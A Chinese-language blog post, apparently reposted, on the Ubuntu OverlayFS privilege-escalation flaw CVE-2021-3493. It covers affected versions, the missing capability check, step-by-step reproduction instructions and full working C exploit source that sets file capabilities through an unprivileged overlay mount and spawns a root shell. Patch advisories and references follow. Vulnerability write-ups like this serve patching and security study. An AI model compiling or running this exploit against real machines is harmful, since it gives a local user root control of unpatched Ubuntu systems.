当前位置:   article > 正文

Ubuntu特权提升漏洞(CVE-2021-3493)

cve-2021-3493

漏洞描述

OverlayFS漏洞允许Ubuntu下的本地用户获得root权限。Linux内核中overlayfs文件系统中的Ubuntu特定问题,在该问题中,它未正确验证关于用户名称空间的文件系统功能的应用程序。由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来获得更高的特权。

影响版本

Ubuntu 20.10

Ubuntu 20.04 LTS

Ubuntu 18.04 LTS

Ubuntu 16.04 LTS

Ubuntu 14.04 ESM

漏洞分析

Linux支持存储在扩展文件属性中的文件功能,它们的工作方式类似于setuid-bit,但粒度更细。在伪代码中设置文件功能的简化过程如下:

重要的调用是cap_convert_nscap,它检查与名称空间相关的权限。

如果我们从自己的名称空间和挂载上设置文件功能,就不会有问题,而且我们有权限这样做。但当OverlayFS将此操作转发给底层文件系统时,它只调用vfs_setxattr,并跳过cap_convert_nscap中的检查。

这允许在外部命名空间/mount中的文件上设置任意功能,并且在执行过程中应用。

在Linux 5.11中,对cap_convert_nscap的调用被移到了vfs_setxattr中,攻击很难实现。

漏洞利用

操作系统:Ubuntu14.04

EXP下载地址https://github.com/briskets/CVE-2021-3493

1. 以普通用户登录Ubuntu系统,通过命令“whoami”查看当前用户是否为普通用户;

2. 利用GCC将exp.c生成可在执行程序exp;

3. 执行exp;

4. 通过命令“whoami”查看当前用户是否为root用户,若为root用户,则视为提权成功。

exp.c

  1. #define _GNU_SOURCE
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <unistd.h>
  6. #include <fcntl.h>
  7. #include <err.h>
  8. #include <errno.h>
  9. #include <sched.h>
  10. #include <sys/types.h>
  11. #include <sys/stat.h>
  12. #include <sys/wait.h>
  13. #include <sys/mount.h>
  14. //#include <attr/xattr.h>
  15. //#include <sys/xattr.h>
  16. int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
  17. #define DIR_BASE "./ovlcap"
  18. #define DIR_WORK DIR_BASE "/work"
  19. #define DIR_LOWER DIR_BASE "/lower"
  20. #define DIR_UPPER DIR_BASE "/upper"
  21. #define DIR_MERGE DIR_BASE "/merge"
  22. #define BIN_MERGE DIR_MERGE "/magic"
  23. #define BIN_UPPER DIR_UPPER "/magic"
  24. static void xmkdir(const char *path, mode_t mode)
  25. {
  26. if (mkdir(path, mode) == -1 && errno != EEXIST)
  27. err(1, "mkdir %s", path);
  28. }
  29. static void xwritefile(const char *path, const char *data)
  30. {
  31. int fd = open(path, O_WRONLY);
  32. if (fd == -1)
  33. err(1, "open %s", path);
  34. ssize_t len = (ssize_t) strlen(data);
  35. if (write(fd, data, len) != len)
  36. err(1, "write %s", path);
  37. close(fd);
  38. }
  39. static void xcopyfile(const char *src, const char *dst, mode_t mode)
  40. {
  41. int fi, fo;
  42. if ((fi = open(src, O_RDONLY)) == -1)
  43. err(1, "open %s", src);
  44. if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
  45. err(1, "open %s", dst);
  46. char buf[4096];
  47. ssize_t rd, wr;
  48. for (;;) {
  49. rd = read(fi, buf, sizeof(buf));
  50. if (rd == 0) {
  51. break;
  52. } else if (rd == -1) {
  53. if (errno == EINTR)
  54. continue;
  55. err(1, "read %s", src);
  56. }
  57. char *p = buf;
  58. while (rd > 0) {
  59. wr = write(fo, p, rd);
  60. if (wr == -1) {
  61. if (errno == EINTR)
  62. continue;
  63. err(1, "write %s", dst);
  64. }
  65. p += wr;
  66. rd -= wr;
  67. }
  68. }
  69. close(fi);
  70. close(fo);
  71. }
  72. static int exploit()
  73. {
  74. char buf[4096];
  75. sprintf(buf, "rm -rf '%s/'", DIR_BASE);
  76. system(buf);
  77. xmkdir(DIR_BASE, 0777);
  78. xmkdir(DIR_WORK, 0777);
  79. xmkdir(DIR_LOWER, 0777);
  80. xmkdir(DIR_UPPER, 0777);
  81. xmkdir(DIR_MERGE, 0777);
  82. uid_t uid = getuid();
  83. gid_t gid = getgid();
  84. if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
  85. err(1, "unshare");
  86. xwritefile("/proc/self/setgroups", "deny");
  87. sprintf(buf, "0 %d 1", uid);
  88. xwritefile("/proc/self/uid_map", buf);
  89. sprintf(buf, "0 %d 1", gid);
  90. xwritefile("/proc/self/gid_map", buf);
  91. sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
  92. if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
  93. err(1, "mount %s", DIR_MERGE);
  94. // all+ep
  95. char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
  96. xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
  97. if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
  98. err(1, "setxattr %s", BIN_MERGE);
  99. return 0;
  100. }
  101. int main(int argc, char *argv[])
  102. {
  103. if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
  104. setuid(0);
  105. setgid(0);
  106. execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
  107. err(1, "execl /bin/bash");
  108. }
  109. pid_t child = fork();
  110. if (child == -1)
  111. err(1, "fork");
  112. if (child == 0) {
  113. _exit(exploit());
  114. } else {
  115. waitpid(child, NULL, 0);
  116. }
  117. execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
  118. err(1, "execl %s", BIN_UPPER);
  119. }

漏洞修复

更新系统软件包版本。详细版本信息请参考供应商的安全公告。

https://ubuntu.com/security/notices/USN-4915-1

https://ubuntu.com/security/notices/USN-4916-1

https://ubuntu.com/security/notices/USN-4917-1

参考链接

https://ubuntu.com/security/CVE-2021-3493

https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/

404 您访问的页面找不到了_腾讯网

漏洞复现 | CVE-2021-3493 Ubuntu内核提权_黑客技术

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/680850
推荐阅读
相关标签
  

闽ICP备14008679号